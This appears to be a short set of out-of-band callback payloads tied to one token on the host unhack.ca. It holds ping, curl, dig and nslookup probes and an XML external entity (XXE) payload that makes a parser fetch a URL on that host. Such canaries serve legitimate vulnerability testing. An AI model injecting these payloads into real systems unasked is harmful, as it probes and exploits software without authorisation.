$ ping -c1 -p 00b101897ff08b4a43ab5f50ca37dc00 unhack.ca
 

$ curl http://unhack.ca/p/b101897ff08b4a43ab5f50ca37dc
 

$ dig b101897ff08b4a43ab5f50ca37dc @unhack.ca
 

$ dig b101897ff08b4a43ab5f50ca37dc.ns.unhack.ca
 

C:\> nslookup b101897ff08b4a43ab5f50ca37dc unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b101897ff08b4a43ab5f50ca37dc">]>
    <foo>&xxe;</foo>